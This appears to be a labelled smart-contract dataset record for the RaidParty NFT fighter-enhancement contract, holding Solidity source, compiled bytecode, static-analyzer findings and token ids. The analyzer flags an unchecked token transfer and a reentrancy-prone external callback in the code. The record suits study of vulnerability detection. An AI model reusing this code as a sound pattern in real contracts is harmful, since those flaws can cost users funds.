tokenId) public view override returns (Stats.FighterStats memory) { uint256 seed = _seeder.getSeedSafe(address(_token), tokenId); uint32 range = MAX_DMG - MIN_DMG + 1; return Stats.FighterStats( MIN_DMG + uint32(seed % range), _enhancement[tokenId] ); } // Returns the seeder contract address function getSeeder() external view override returns (address) { return address(_seeder); } // Sets the seeder contract address function setSeeder(address seeder) external onlyRole(DEFAULT_ADMIN_ROLE) { _setSeeder(seeder); } // Returns the token URI for off-chain cosmetic data function tokenURI(uint256 tokenId) public pure returns (string memory) { return string(abi.encodePacked(_baseURI(), tokenId.toString())); } /** ENHANCEMENT */ // Returns enhancement cost in confetti, and whether a token must be burned function enhancementCost(uint256 tokenId) external view override(Enhanceable, IEnhanceable) returns (uint256, bool) { return (_getEnhancementCost(_enhancement[tokenId]), true); } function enhance(uint256 tokenId, uint256 burnTokenId) public override(Enhanceable, IEnhanceable) whenNotPaused { require( tokenId != burnTokenId, "FighterURIHandler::enhance: target token cannot equal burn token" ); require( msg.sender == _token.ownerOf(tokenId), "FighterURIHandler::enhance: enhancer must be token owner" ); uint8 enhancement = _enhancement[tokenId]; require( enhancement < MAX_ENHANCEMENT, "FighterURIHandler::enhance: max enhancement reached" ); uint256 cost = _getEnhancementCost(enhancement); uint256 teamAmount = (cost * 15) / 100; _confetti.transferFrom(msg.sender, _team, teamAmount); _confetti.burnFrom(msg.sender, cost - teamAmount); _token.safeTransferFrom(msg.sender, address(this), burnTokenId); _token.burn(burnTokenId); super.enhance(tokenId, burnTokenId); } function reveal(uint256[] calldata tokenIds) public override whenNotPaused { unchecked { uint8[] memory enhancements = new uint8[](tokenIds.length); for (uint256 i = 0; i < tokenIds.length; i++) { uint256 seed = _getSeed(tokenIds[i]); uint8 enhancement = _enhancement[tokenIds[i]]; bool success = false; bool degraded = false; if (_roll(seed, _getEnhancementOdds(enhancement))) { _enhancement[tokenIds[i]] += 1; success = true; } else if ( _roll( seed, _getEnhancementOdds(enhancement) + _getEnhancementDegredationOdds(enhancement) ) && enhancement > MIN_ENHANCEMENT ) { _enhancement[tokenIds[i]] -= 1; degraded = true; } enhancements[i] = enhancement; emit EnhancementCompleted( tokenIds[i], block.timestamp, success, degraded ); } super.reveal(tokenIds); require( _checkOnEnhancement(tokenIds, enhancements), "Enhanceable::reveal: reveal for unsupported contract" ); } } function pause() external onlyRole(DEFAULT_ADMIN_ROLE) { _paused = true; } function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) { _paused = false; } /** INTERNAL */ function _baseURI() internal pure returns (string memory) { return "https://api.raid.party/metadata/fighter/"; } function _getEnhancementCost(uint256 enh) internal pure returns (uint256) { if (enh == 0) { return 25 * 10**18; } else if (enh == 1) { return 35 * 10**18; } else if (enh == 2) { return 50 * 10**18; } else if (enh == 3) { return 75 * 10**18; } else if (enh == 4) { return 100 * 10**18; } else if (enh == 5) { return 125 * 10**18; } else if (enh == 6) { return 150 * 10**18; } else if (enh == 7) { return 300 * 10**18; } else if (enh == 8) { return 350 * 10**18; } else if (enh == 9) { return 500 * 10**18; } else if (enh == 10) { return 500 * 10**18; } else if (enh == 11) { return 500 * 10**18; } else if (enh == 12) { return 500 * 10**18; } else if (enh == 13) { return 500 * 10**18; } else { return type(uint256).max; } } function _getEnhancementOdds(uint256 enh) internal pure returns (uint256) { if (enh == 0) { return 9000; } else if (enh == 1) { return 8500; } else if (enh == 2) { return 8000; } else if (enh == 3) { return 7500; } else if (enh == 4) { return 7000; } else if (enh == 5) { return 6500; } else if (enh == 6) { return 6000; } else if (enh == 7) { return 5500; } else if (enh == 8) { return 5000; } else { return 2500; } } function _getEnhancementDegredationOdds(uint256 enh) internal pure returns (uint256) { if (enh == 0) { return 0; } else if (enh == 1) { return 500; } else if (enh == 2) { return 1000; } else if (enh == 3) { return 1500; } else if (enh == 4) { return 2000; } else if (enh == 5) { return 2500; } else if (enh == 6) { return 3000; } else if (enh == 7) { return 3500; } else if (enh == 8) { return 4000; } else { return 5000; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20Burnable is IERC20 { function mint(address to, uint256 amount) external; function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IEnhanceable { struct EnhancementRequest { uint256 id; address requester; } event EnhancementRequested( uint256 indexed tokenId, uint256 indexed timestamp ); event EnhancementCompleted( uint256 indexed tokenId, uint256 indexed timestamp, bool success, bool degraded ); event SeederUpdated(address indexed caller, address indexed seeder); function enhancementCost(uint256 tokenId) external view returns (uint256, bool); function enhance(uint256 tokenId, uint256 burnTokenId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IEnhancer { function onEnhancement(uint256[] calldata, uint8[] calldata) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IRaidERC721.sol"; import "./IFighterURIHandler.sol"; import "./ISeeder.sol"; interface IFighter is IRaidERC721 { event HandlerUpdated(address indexed caller, address indexed handler); function setHandler(IFighterURIHandler handler) external; function getHandler() external view returns (address); function getSeeder() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IEnhanceable.sol"; import "../lib/Stats.sol"; interface IFighterURIHandler is IEnhanceable { function tokenURI(uint256 tokenId) external view returns (string memory); function getStats(uint256 tokenId) external view returns (Stats.FighterStats memory); function getSeeder() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; interface IRaidERC721 is IERC721 { function getSeeder() external view returns (address); function burn(uint256 tokenId) external; function tokensOfOwner(address owner) external view returns (uint256[] memory); function mint(address owner, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../lib/Randomness.sol"; interface ISeeder { event Requested(address indexed origin, uint256 indexed identifier); event Seeded(bytes32 identifier, uint256 randomness); function getIdReferenceCount( bytes32 randomnessId, address origin, uint256 startIdx ) external view returns (uint256); function getIdentifiers( bytes32 randomnessId, address origin, uint256 startIdx, uint256 count ) external view returns (uint256[] memory); function requestSeed(uint256 identifier) external; function getSeed(address origin, uint256 identifier) external view returns (uint256); function getSeedSafe(address origin, uint256 identifier) external view returns (uint256); function executeRequestMulti() external; function isSeeded(address origin, uint256 identifier) external view returns (bool); function setFee(uint256 fee) external; function getFee() external view returns (uint256); function getData(address origin, uint256 identifier) external view returns (Randomness.SeedData memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Randomness { struct SeedData { uint256 batch; bytes32 randomnessId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Stats { struct HeroStats { uint8 dmgMultiplier; uint8 partySize; uint8 enhancement; } struct FighterStats { uint32 dmg; uint8 enhancement; } struct EquipmentStats { uint32 dmg; uint8 dmgMultiplier; uint8 slot; } } // SPDX-License-Identifier: MIT /// @title RaidParty Helper Contract for Seedability /** * ___ _ _ ___ _ * | _ \__ _(_)__| | _ \__ _ _ _| |_ _ _ * | / _` | / _` | _/ _` | '_| _| || | * |_|_\__,_|_\__,_|_| \__,_|_| \__|\_, | * |__/ */ pragma solidity ^0.8.0; abstract contract Seedable { function _validateSeed(uint256 id) internal pure { require(id != 0, "Seedable: not seeded"); } } // SPDX-License-Identifier: MIT /// @title RaidParty Helper Contract for Enhanceability /** * ___ _ _ ___ _ * | _ \__ _(_)__| | _ \__ _ _ _| |_ _ _ * | / _` | / _` | _/ _` | '_| _| || | * |_|_\__,_|_\__,_|_| \__,_|_| \__|\_, | * |__/ */ pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "../interfaces/ISeeder.sol"; import "../interfaces/IEnhancer.sol"; import "../randomness/Seedable.sol"; import "../interfaces/IEnhanceable.sol"; import "../interfaces/IRaidERC721.sol"; abstract contract Enhanceable is IEnhanceable, Initializable, Seedable { using AddressUpgradeable for address; mapping(uint256 => EnhancementRequest) private _enhancements; uint256 private _enhancementCounter; ISeeder internal _seeder; IRaidERC721 internal _token; function __Enhanceable_init(address seeder, address token) public initializer { _seeder = ISeeder(seeder); _token = IRaidERC721(token); _enhancementCounter = 1; } function getEnhancementRequest(uint256 tokenId) external view virtual returns (EnhancementRequest memory) { return _enhancements[tokenId]; } function enhancementCost(uint256 tokenId) external view virtual returns (uint256, bool); function enhance(uint256 tokenId, uint256) public virtual { require( _enhancements[tokenId].requester == address(0), "Enhanceable::enhance: token bound to pending request" ); _enhancements[tokenId] = EnhancementRequest( _enhancementCounter, msg.sender ); _seeder.requestSeed(_enhancementCounter); unchecked { _enhancementCounter += 1; } emit EnhancementRequested(tokenId, block.timestamp); } // Caller must emit and determine resultant state before calling super function reveal(uint256[] calldata ids) public virtual { unchecked { for (uint256 i = 0; i < ids.length; i++) { delete _enhancements[ids[i]]; } } } function _checkOnEnhancement(uint256[] memory tokenIds, uint8[] memory prev) internal returns (bool) { require( tokenIds.length == prev.length, "Enhanceable: update array length mismatch" ); address owner = _token.ownerOf(tokenIds[0]); for (uint256 i = 0; i < tokenIds.length; i++) { require( _token.ownerOf(tokenIds[i]) == owner, "Enhanceable: tokens not owned by same owner" ); } if (owner.isContract()) { try IEnhancer(owner).onEnhancement(tokenIds, prev) returns ( bytes4 retval ) { return retval == IEnhancer.onEnhancement.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("Enhanceable: transfer to non Enhancer implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _roll(uint256 seed, uint256 probability) internal pure returns (bool) { if (seed % 10000 < probability) { return true; } else { return false; } } function _getSeed(uint256 tokenId) internal view returns (uint256) { return _seeder.getSeedSafe(address(this), _enhancements[tokenId].id); } function _setSeeder(address seeder) internal { _seeder = ISeeder(seeder); emit SeederUpdated(msg.sender, seeder); } }
0x608060405234801561001057600080fd5b50600436106101ae5760003560e01c80639010d07c116100ee578063ca15c87311610097578063dfca4f7911610071578063dfca4f7914610498578063e5f63975146104a9578063eb48fada146104bc578063f8c8765e146104c457600080fd5b8063ca15c8731461045f578063d50b31eb14610472578063d547741f1461048557600080fd5b8063a217fddf116100c8578063a217fddf14610424578063b93f208a1461042c578063c87b56dd1461043f57600080fd5b80639010d07c146103b757806391d14854146103e25780639441f7d61461041b57600080fd5b806336568abe1161015b57806371621db21161013557806371621db21461033657806378a8a238146103505780637b303965146103785780638456cb59146103af57600080fd5b806336568abe146103085780633f4ba83a1461031b5780635c7e77321461032357600080fd5b8063248a9ca31161018c578063248a9ca3146102a45780632f2ff15d146102d5578063321055e3146102ea57600080fd5b806301ffc9a7146101b3578063150b7a02146101db57806316559f971461022b575b600080fd5b6101c66101c1366004612363565b6104d7565b60405190151581526020015b60405180910390f35b6102126101e93660046123ab565b7f150b7a0200000000000000000000000000000000000000000000000000000000949350505050565b6040516001600160e01b031990911681526020016101d2565b61028061023936600461248b565b604080518082019091526000808252602082015250600090815260016020818152604092839020835180850190945280548452909101546001600160a01b03169082015290565b60408051825181526020928301516001600160a01b031692810192909252016101d2565b6102c76102b236600461248b565b60009081526069602052604090206001015490565b6040519081526020016101d2565b6102e86102e33660046124a4565b61051b565b005b6102f361032081565b60405163ffffffff90911681526020016101d2565b6102e86103163660046124a4565b610546565b6102e86105d7565b6102e86103313660046124d4565b6105f4565b61033e600081565b60405160ff90911681526020016101d2565b61036361035e36600461248b565b610ab0565b604080519283529015156020830152016101d2565b61038b61038636600461248b565b610ad7565b60408051825163ffffffff16815260209283015160ff1692810192909252016101d2565b6102e8610bf1565b6103ca6103c53660046124d4565b610c14565b6040516001600160a01b0390911681526020016101d2565b6101c66103f03660046124a4565b60009182526069602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6102f361057881565b6102c7600081565b6102e861043a3660046124f6565b610c33565b61045261044d36600461248b565b610f85565b6040516101d2919061259b565b6102c761046d36600461248b565b610fbf565b6102e86104803660046125ce565b610fd6565b6102e86104933660046124a4565b610feb565b6003546001600160a01b03166103ca565b6102e86104b73660046125eb565b611011565b61033e600e81565b6102e86104d2366004612619565b61110f565b60006001600160e01b031982167f5a05180f000000000000000000000000000000000000000000000000000000001480610515575061051582611250565b92915050565b60008281526069602052604090206001015461053781336112b7565b6105418383611337565b505050565b6001600160a01b03811633146105c95760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c66000000000000000000000000000000000060648201526084015b60405180910390fd5b6105d38282611359565b5050565b60006105e381336112b7565b50610101805460ff60a01b19169055565b61010154600160a01b900460ff161561065a5760405162461bcd60e51b815260206004820152602260248201527f4669676874657255524948616e646c65723a20636f6e74726163742070617573604482015261195960f21b60648201526084016105c0565b808214156106d2576040805162461bcd60e51b81526020600482015260248101919091527f4669676874657255524948616e646c65723a3a656e68616e63653a207461726760448201527f657420746f6b656e2063616e6e6f7420657175616c206275726e20746f6b656e60648201526084016105c0565b600480546040517f6352211e0000000000000000000000000000000000000000000000000000000081529182018490526001600160a01b031690636352211e90602401602060405180830381865afa158015610732573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107569190612675565b6001600160a01b0316336001600160a01b0316146107dc5760405162461bcd60e51b815260206004820152603860248201527f4669676874657255524948616e646c65723a3a656e68616e63653a20656e686160448201527f6e636572206d75737420626520746f6b656e206f776e6572000000000000000060648201526084016105c0565b600082815260ff602081905260409091205416600e81106108655760405162461bcd60e51b815260206004820152603360248201527f4669676874657255524948616e646c65723a3a656e68616e63653a206d61782060448201527f656e68616e63656d656e7420726561636865640000000000000000000000000060648201526084016105c0565b60006108738260ff1661137b565b90506000606461088483600f6126a8565b61088e91906126dd565b61010054610101546040517f23b872dd0000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b0391821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af1158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a91906126f1565b50610100546001600160a01b03166379cc6790336109488486612713565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b15801561098e57600080fd5b505af11580156109a2573d6000803e3d6000fd5b5050600480546040517f42842e0e0000000000000000000000000000000000000000000000000000000081523392810192909252306024830152604482018890526001600160a01b031692506342842e0e9150606401600060405180830381600087803b158015610a1257600080fd5b505af1158015610a26573d6000803e3d6000fd5b5050600480546040517f42966c680000000000000000000000000000000000000000000000000000000081529182018890526001600160a01b031692506342966c689150602401600060405180830381600087803b158015610a8757600080fd5b505af1158015610a9b573d6000803e3d6000fd5b50505050610aa985856114e0565b5050505050565b600081815260ff602081905260408220548291610acd911661137b565b9360019350915050565b6040805180820190915260008082526020820152600354600480546040517fff5bf7f90000000000000000000000000000000000000000000000000000000081526001600160a01b039182169281019290925260248201859052600092169063ff5bf7f990604401602060405180830381865afa158015610b5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b80919061272a565b90506000610b92610320610578612743565b610b9d906001612768565b905060405180604001604052808263ffffffff1684610bbc9190612790565b610bc890610320612768565b63ffffffff168152600095865260ff602081815260409097205416950194909452509192915050565b6000610bfd81336112b7565b50610101805460ff60a01b1916600160a01b179055565b6000828152609b60205260408120610c2c9083611660565b9392505050565b61010154600160a01b900460ff1615610c995760405162461bcd60e51b815260206004820152602260248201527f4669676874657255524948616e646c65723a20636f6e74726163742070617573604482015261195960f21b60648201526084016105c0565b60008167ffffffffffffffff811115610cb457610cb4612395565b604051908082528060200260200182016040528015610cdd578160200160208202803683370190505b50905060005b82811015610eca576000610d0e858584818110610d0257610d026127a4565b9050602002013561166c565b9050600060ff6000878786818110610d2857610d286127a4565b6020908102929092013583525081019190915260400160009081205460ff16915080610d5c84610d5785611708565b6117b1565b15610db257600160ff60008a8a89818110610d7957610d796127a4565b60209081029290920135835250810191909152604001600020805460ff19811660ff918216939093011691909117905560019150610e33565b610dd484610dc28560ff166117d6565b610dce8660ff16611708565b016117b1565b8015610de2575060ff831615155b15610e3357600160ff60008a8a89818110610dff57610dff6127a4565b60209081029290920135835250810191909152604001600020805460ff19811660ff91821693909303169190911790555060015b82868681518110610e4657610e466127a4565b602002602001019060ff16908160ff168152505042888887818110610e6d57610e6d6127a4565b905060200201357f17a374fef4d399cb50b569659b5757fe6f6c1a236acc0149fe42f796e98ee2608484604051610eb292919091151582521515602082015260400190565b60405180910390a3505060019092019150610ce39050565b50610ed5838361187e565b610f138383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508592506118d6915050565b6105415760405162461bcd60e51b815260206004820152603460248201527f456e68616e636561626c653a3a72657665616c3a2072657665616c20666f722060448201527f756e737570706f7274656420636f6e747261637400000000000000000000000060648201526084016105c0565b6060610f8f611c5c565b610f9883611c7c565b604051602001610fa99291906127ba565b6040516020818303038152906040529050919050565b6000818152609b6020526040812061051590611d82565b6000610fe281336112b7565b6105d382611d8c565b60008281526069602052604090206001015461100781336112b7565b6105418383611359565b600054610100900460ff1661102c5760005460ff1615611030565b303b155b6110a25760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016105c0565b600054610100900460ff161580156110c4576000805461ffff19166101011790555b600380546001600160a01b038086166001600160a01b031992831617909255600480549285169290911691909117905560016002558015610541576000805461ff0019169055505050565b600054610100900460ff1661112a5760005460ff161561112e565b303b155b6111a05760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016105c0565b600054610100900460ff161580156111c2576000805461ffff19166101011790555b6111ca611dd8565b6111d5600086611e5d565b6111df8484611011565b61010080546001600160a01b038085166001600160a01b03199092169190911790915561010180547fffffffffffffffffffffff0000000000000000000000000000000000000000001691871691909117600160a01b1790558015610aa9576000805461ff00191690555050505050565b60006001600160e01b031982167f7965db0b00000000000000000000000000000000000000000000000000000000148061051557507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b0319831614610515565b60008281526069602090815260408083206001600160a01b038516845290915290205460ff166105d3576112f5816001600160a01b03166014611e67565b611300836020611e67565b6040516020016113119291906127e0565b60408051601f198184030181529082905262461bcd60e51b82526105c09160040161259b565b611341828261202c565b6000828152609b6020526040902061054190826120ce565b61136382826120e3565b6000828152609b602052604090206105419082612166565b600081611392575068015af1d78b58c40000919050565b81600114156113ab57506801e5b8fa8fe2ac0000919050565b81600214156113c457506802b5e3af16b1880000919050565b81600314156113dd5750680410d586a20a4c0000919050565b81600414156113f6575068056bc75e2d63100000919050565b816005141561140f57506806c6b935b8bbd40000919050565b81600614156114285750680821ab0d4414980000919050565b81600714156114415750681043561a8829300000919050565b816008141561145a57506812f939c99edab80000919050565b81600914156114735750681b1ae4d6e2ef500000919050565b81600a141561148c5750681b1ae4d6e2ef500000919050565b81600b14156114a55750681b1ae4d6e2ef500000919050565b81600c14156114be5750681b1ae4d6e2ef500000919050565b81600d14156114d75750681b1ae4d6e2ef500000919050565b50600019919050565b600082815260016020819052604090912001546001600160a01b03161561156f5760405162461bcd60e51b815260206004820152603460248201527f456e68616e636561626c653a3a656e68616e63653a20746f6b656e20626f756e60448201527f6420746f2070656e64696e67207265717565737400000000000000000000000060648201526084016105c0565b6040805180820182526002805482523360208084019182526000878152600191829052859020935184559051920180546001600160a01b0319166001600160a01b03938416179055600354905492517fa9df851a0000000000000000000000000000000000000000000000000000000081526004810193909352169063a9df851a90602401600060405180830381600087803b15801561160e57600080fd5b505af1158015611622573d6000803e3d6000fd5b50506002805460010190555050604051429083907f9decd01177e5628464489f01eefedd43d7ef0fd8cc63d054f8a0dea6eea94eec90600090a35050565b6000610c2c838361217b565b6003546000828152600160205260408082205490517fff5bf7f9000000000000000000000000000000000000000000000000000000008152306004820152602481019190915290916001600160a01b03169063ff5bf7f990604401602060405180830381865afa1580156116e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610515919061272a565b6000816117185750612328919050565b816001141561172a5750612134919050565b816002141561173c5750611f40919050565b816003141561174e5750611d4c919050565b81600414156117605750611b58919050565b81600514156117725750611964919050565b81600614156117845750611770919050565b8160071415611796575061157c919050565b81600814156117a85750611388919050565b506109c4919050565b6000816117c061271085612790565b10156117ce57506001610515565b506000610515565b6000816117e557506000919050565b81600114156117f757506101f4919050565b816002141561180957506103e8919050565b816003141561181b57506105dc919050565b816004141561182d57506107d0919050565b816005141561183f57506109c4919050565b81600614156118515750610bb8919050565b81600714156118635750610dac919050565b81600814156118755750610fa0919050565b50611388919050565b60005b81811015610541576001600084848481811061189f5761189f6127a4565b602090810292909201358352508101919091526040016000908120908155600190810180546001600160a01b031916905501611881565b6000815183511461194f5760405162461bcd60e51b815260206004820152602960248201527f456e68616e636561626c653a20757064617465206172726179206c656e67746860448201527f206d69736d61746368000000000000000000000000000000000000000000000060648201526084016105c0565b60045483516000916001600160a01b031690636352211e9086908490611977576119776127a4565b60200260200101516040518263ffffffff1660e01b815260040161199d91815260200190565b602060405180830381865afa1580156119ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119de9190612675565b905060005b8451811015611b0c5760045485516001600160a01b03808516921690636352211e90889085908110611a1757611a176127a4565b60200260200101516040518263ffffffff1660e01b8152600401611a3d91815260200190565b602060405180830381865afa158015611a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7e9190612675565b6001600160a01b031614611afa5760405162461bcd60e51b815260206004820152602b60248201527f456e68616e636561626c653a20746f6b656e73206e6f74206f776e656420627960448201527f2073616d65206f776e657200000000000000000000000000000000000000000060648201526084016105c0565b80611b0481612861565b9150506119e3565b506001600160a01b0381163b15611c5257604051632833859760e11b81526001600160a01b038216906350670b2e90611b4b908790879060040161287c565b6020604051808303816000875af1925050508015611b86575060408051601f3d908101601f19168201909252611b83918101906128fa565b60015b611c36573d808015611bb4576040519150601f19603f3d011682016040523d82523d6000602084013e611bb9565b606091505b508051611c2e5760405162461bcd60e51b815260206004820152603160248201527f456e68616e636561626c653a207472616e7366657220746f206e6f6e20456e6860448201527f616e63657220696d706c656d656e74657200000000000000000000000000000060648201526084016105c0565b805181602001fd5b6001600160e01b031916632833859760e11b1491506105159050565b6001915050610515565b606060405180606001604052806028815260200161295d60289139905090565b606081611ca05750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611cca5780611cb481612861565b9150611cc39050600a836126dd565b9150611ca4565b60008167ffffffffffffffff811115611ce557611ce5612395565b6040519080825280601f01601f191660200182016040528015611d0f576020820181803683370190505b5090505b8415611d7a57611d24600183612713565b9150611d31600a86612790565b611d3c906030612917565b60f81b818381518110611d5157611d516127a4565b60200101906001600160f81b031916908160001a905350611d73600a866126dd565b9450611d13565b949350505050565b6000610515825490565b600380546001600160a01b0319166001600160a01b03831690811790915560405133907fe6a0768bc7cc02a7502c4e06cdb639aca06180fd05c4e57dddea1b2d1b0e8c0b90600090a350565b600054610100900460ff16611e435760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016105c0565b611e4b6121a5565b611e536121a5565b611e5b6121a5565b565b6105d38282611337565b60606000611e768360026126a8565b611e81906002612917565b67ffffffffffffffff811115611e9957611e99612395565b6040519080825280601f01601f191660200182016040528015611ec3576020820181803683370190505b509050600360fc1b81600081518110611ede57611ede6127a4565b60200101906001600160f81b031916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611f2957611f296127a4565b60200101906001600160f81b031916908160001a9053506000611f4d8460026126a8565b611f58906001612917565b90505b6001811115611fdd577f303132333435363738396162636465660000000000000000000000000000000085600f1660108110611f9957611f996127a4565b1a60f81b828281518110611faf57611faf6127a4565b60200101906001600160f81b031916908160001a90535060049490941c93611fd68161292f565b9050611f5b565b508315610c2c5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016105c0565b60008281526069602090815260408083206001600160a01b038516845290915290205460ff166105d35760008281526069602090815260408083206001600160a01b03851684529091529020805460ff1916600117905561208a3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000610c2c836001600160a01b038416612210565b60008281526069602090815260408083206001600160a01b038516845290915290205460ff16156105d35760008281526069602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000610c2c836001600160a01b038416612257565b6000826000018281548110612192576121926127a4565b9060005260206000200154905092915050565b600054610100900460ff16611e5b5760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016105c0565b60008181526001830160205260408120546117ce57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610515565b6000818152600183016020526040812054801561234057600061227b600183612713565b855490915060009061228f90600190612713565b90508181146122f45760008660000182815481106122af576122af6127a4565b90600052602060002001549050808760000184815481106122d2576122d26127a4565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061230557612305612946565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610515565b6000915050610515565b6001600160e01b03198116811461236057600080fd5b50565b60006020828403121561237557600080fd5b8135610c2c8161234a565b6001600160a01b038116811461236057600080fd5b634e487b7160e01b600052604160045260246000fd5b600080600080608085870312156123c157600080fd5b84356123cc81612380565b935060208501356123dc81612380565b925060408501359150606085013567ffffffffffffffff8082111561240057600080fd5b818701915087601f83011261241457600080fd5b81358181111561242657612426612395565b604051601f8201601f19908116603f0116810190838211818310171561244e5761244e612395565b816040528281528a602084870101111561246757600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60006020828403121561249d57600080fd5b5035919050565b600080604083850312156124b757600080fd5b8235915060208301356124c981612380565b809150509250929050565b600080604083850312156124e757600080fd5b50508035926020909101359150565b6000806020838503121561250957600080fd5b823567ffffffffffffffff8082111561252157600080fd5b818501915085601f83011261253557600080fd5b81358181111561254457600080fd5b8660208260051b850101111561255957600080fd5b60209290920196919550909350505050565b60005b8381101561258657818101518382015260200161256e565b83811115612595576000848401525b50505050565b60208152600082518060208401526125ba81604085016020870161256b565b601f01601f19169190910160400192915050565b6000602082840312156125e057600080fd5b8135610c2c81612380565b600080604083850312156125fe57600080fd5b823561260981612380565b915060208301356124c981612380565b6000806000806080858703121561262f57600080fd5b843561263a81612380565b9350602085013561264a81612380565b9250604085013561265a81612380565b9150606085013561266a81612380565b939692955090935050565b60006020828403121561268757600080fd5b8151610c2c81612380565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156126c2576126c2612692565b500290565b634e487b7160e01b600052601260045260246000fd5b6000826126ec576126ec6126c7565b500490565b60006020828403121561270357600080fd5b81518015158114610c2c57600080fd5b60008282101561272557612725612692565b500390565b60006020828403121561273c57600080fd5b5051919050565b600063ffffffff8381169083168181101561276057612760612692565b039392505050565b600063ffffffff80831681851680830382111561278757612787612692565b01949350505050565b60008261279f5761279f6126c7565b500690565b634e487b7160e01b600052603260045260246000fd5b600083516127cc81846020880161256b565b83519083019061278781836020880161256b565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081526000835161281881601785016020880161256b565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000601791840191820152835161285581602884016020880161256b565b01602801949350505050565b600060001982141561287557612875612692565b5060010190565b604080825283519082018190526000906020906060840190828701845b828110156128b557815184529284019290840190600101612899565b5050508381038285015284518082528583019183019060005b818110156128ed57835160ff16835292840192918401916001016128ce565b5090979650505050505050565b60006020828403121561290c57600080fd5b8151610c2c8161234a565b6000821982111561292a5761292a612692565b500190565b60008161293e5761293e612692565b506000190190565b634e487b7160e01b600052603160045260246000fdfe68747470733a2f2f6170692e726169642e70617274792f6d657461646174612f666967687465722fa26469706673582212203ceca335d093270a0763c977e8e2df8ca59cd5329aafaf57505be29a2149d75a64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 10354, 6679, 2278, 2575, 20842, 25746, 7011, 2581, 2581, 2094, 26224, 2278, 29097, 2063, 23352, 2575, 2683, 3207, 2278, 4246, 2581, 2094, 2629, 4215, 21926, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 3229, 1013, 3229, 8663, 13181, 7770, 17897, 16670, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 24264, 9468, 7971, 8663, 13181, 7770, 17897, 16670, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3229, 8663, 13181, 7630, 26952, 13662, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 2358, 6820, 16649, 1013, 4372, 17897, 102 ]
